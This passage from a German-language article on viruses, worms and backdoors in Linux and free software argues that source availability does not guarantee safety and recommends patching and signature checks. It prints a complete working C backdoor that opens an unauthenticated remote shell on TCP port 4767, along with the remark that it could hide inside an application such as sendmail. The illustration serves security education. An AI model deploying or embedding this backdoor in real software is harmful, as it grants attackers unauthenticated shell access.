�ber W�rmer kann man sagen, da� ihre Verbreitung Zeitbegrenzt ist. Sie "�berleben" durch Sich-Vermehren von einem System zum anderen und da sie von neu entdeckten Verwundbarkeiten abh�ngen, stoppen schnelle Updates der Zielapplikationen ihre Verbreitung. In naher Zukunft ist es wahrscheinlich, da� Heimsysteme automatisch Referenzwebseiten konsultieren m�ssen (jeden Tag) - denen man trauen kann - um ihre Sicherheitspatche f�r Systemapplikationen zu finden. Dies wird notwendig werden, um zu verhindern, da� der Benutzer Vollzeit als Systemadministrator arbeiten mu�.
Das Hintert�rproblem ist wichtig, auch f�r freie Software. Nat�rlich kann man, wenn der Quellcode eines Programms verf�gbar ist, theoretisch �berpr�fen, was es macht. Tats�chlich lesen nur sehr wenige Leute den Code, der aus dem Internet geladen wurde. Zum Beispiel enth�lt das kleine Programm unten eine vollst�ndige Hintert�r, weil es klein ist, erlaubt es, sich in gen�gend gro�en Applikationen zu verstecken. Dieses Programm wurde von einem Beispiel aus meinem Buch [BLAESS 00] abgeleitet, das die Mechanismen eines Pseudoterminals illustriert. Dieses Programm ist nicht sehr lesbar, da es unkommentiert ist, um es k�rzer zu machen. Die meisten Fehler�berpr�fungen wurden aus demselben Grund entfernt. Wenn es ausgef�hrt wird, �ffnet es einen TCP/IP Server auf dem zu Beginn des Programms (default 4767) erw�hnten Port auf jeder Netzwerkschnittstelle der Maschine. Jede angeforderte Verbindung zu diesem Port wird automatisch auf eine Shell ohne Autentifikation zugreifen !!!
#define _GNU_SOURCE 500
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define ADRESSE_BACKDOOR INADDR_ANY
#define PORT_BACKDOOR 4767
int
main (void)
{
int sock;
int sockopt;
struct sockaddr_in adresse; /* address */
socklen_t longueur; /* length */
int sock2;
int pty_maitre; /* pty_master */
int pty_esclave; /* pty_slave */
char * nom_pty; /* name_pty */
struct termios termios;
char * args [2] = { "/bin/sh", NULL };
fd_set set;
char buffer [4096];
int n;
sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
sizeof(sockopt));
memset (&adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) &adresse, sizeof (adresse)))
exit (1);
listen (sock, 5);
while (1) {
longueur = sizeof (struct sockaddr_in);
if ((sock2 = accept (sock, &adresse, &longueur)) < 0)
continue;
if (fork () == 0) break;
close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, &termios);
if (fork () == 0) {
/* Son: shell execution in the slave
pseudo-TTY */
close (pty_maitre);
setsid();
pty_esclave = open (nom_pty, O_RDWR);
tcsetattr (pty_esclave, TCSANOW, &termios);
dup2 (pty_esclave, STDIN_FILENO);
dup2 (pty_esclave, STDOUT_FILENO);
dup2 (pty_esclave, STDERR_FILENO);
execv (args [0], args);
exit (1);
}
/* Father: copy of the socket to the master pseudo-TTY
and vice versa */
tcgetattr (pty_maitre, &termios);
cfmakeraw (&termios);
tcsetattr (pty_maitre, TCSANOW, &termios);
while (1) {
FD_ZERO (&set);
FD_SET (sock2, &set);
FD_SET (pty_maitre, &set);
if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
&set, NULL, NULL, NULL) < 0)
break;
if (FD_ISSET (sock2, &set)) {
if ((n = read (sock2, buffer, 4096)) < 0)
break;
write (pty_maitre, buffer, n);
}
if (FD_ISSET (pty_maitre, &set)) {
if ((n = read (pty_maitre, buffer, 4096)) < 0)
break;
write (sock2, buffer, n);
}
}
return (0);
}
Einf�gen eines solchen Codes in eine gro�e
Applikation (sendmail zum Beispiel) wird lange Zeit
unbemerkt bleiben, lange genug, um freche Infiltration zu
erlauben. au�erdem sind einige Leute fast Meister in der
Kunst, die Arbeit eines St�ck Codes zu verstecken, wie die
Programme, die jedes Jahr zum IOCC (International
Obsfucated C Code Contest) Wettbewerb eingereicht werden,
beweisen k�nnen.
Hintert�ren d�rfen nicht nur als theoretische M�glichkeiten betrachtet werden. Solche Schwierigkeiten wurden wirklich angetroffen, z.B. im Piranha Paket von der Red-Hat 6.2 Distribution, die ein Defaultpasswort akzeptierte. Das Spiel Quake 2 wurde ebenfalls verd�chtigt, eine Hintert�r zu verstecken, die entfernte Befehlsausf�hrung erlaubte.
Die Hintert�rmechanismen k�nne sich auch selbst in so komplexen Erscheinungen verstecken, da� sie f�r die meisten Leute nicht entdeckbar sind. Ein typischer Fall ist der, der Verschl�sselungssysteme betrifft. Z.B. das SE-Linuxsystem, es wurde durch Sicherheitspatche vom NSA "sicherer" gemacht. Die Linuxentwickler, die die gelieferten Patche �berpr�ften, sagten, da� sie nichts verd�chtiges gesehen haben, aber niemand kann sicher sein und nur sehr wenige Leute haben die erforderlichen mathematischen kenntnisse, um solche Verwundbarkeiten zu erkennen.
Betrachtet man diese sch�dlichen Programme, die in der Gnu/Linuxwelt gefunden wurden, erlaubt es uns zu schlie�en: freie Software ist nicht sicher vor Viren, W�rmern, Trojanischn Pferden und anderen. Ohne zu hastig zu sein, mu� man Sicherheitswarnungen, die aktuelle Applikationen betreffen, beobachten, besonders wenn die Verbindung einer Workstation zum Internet h�ufig ist. Es ist wichtig, sich jetzt gute Gewohnheiten anzugew�hnen: update Software sobald eine Verwundbarkeit gefunden wurde; benutzte nur die erforderlichen Netzwerkdienste; lade nur Applikationen von Webseiten, denen man trauen kann, herunter. �berpr�fe sooft wie m�glich die PGP oder MD5 Signaturen f�r die heruntergeladenen Pakete. Die "ernsthafteren" Leute werden die Kontrolle installierter Applikationen automatisieren, mit Skripten zum Beispiel.
Eine zweite Anmerkung ist erforderlich: die zwei Hauptgefahren f�r Linuxsysteme der Zukunft sind entweder die Produktivit�tsapplikationen, die blind Macros, die in Dokumenten (einschlie�lich Email) enthalten sind, ausf�hren oder multi-plattform Viren, die, auch wenn sie unter Windows ausgef�hrt wurden in ausf�hrbare Dateien, auf einer Linuxpartition auf derselben Maschine, eindringen. W�hrend das erste Problem vom Benutzerverhalten abh�ngt, die ihen Produktivita�tsapplikationen nicht erlauben sollten, alles zu akzeptieren, so ist das zweite eher schwierig zu l�sen, auch f�r einen gewissenhaften Adminsitrator. In sehr naher Zukunft m��ten sehr leistungsstarke Virenscanner f�r Linuxworkstations, die mit dem Internet verbunden sind, implemnetiert werden. La�t uns hoffen, da� solche Projekte sehr bald in der freien Softwarewelt auftauchen werden.
Die Anzahl von Dokumenten �ber Viren, Trojanische Pferde und andere Softwaregefahren ist ein wichtiger indikator; es gibt viele Texte, die �ber aktuelle Viren reden, wie sie arbeiten und was sie tun. Nat�rlich betreffen die meisten dieser Listen Dos/Windows, aber einige betreffen Linux. Die hier erw�hnten Artikel sind eher klassisch und analysieren die implementierten theoretischen Mechanismen.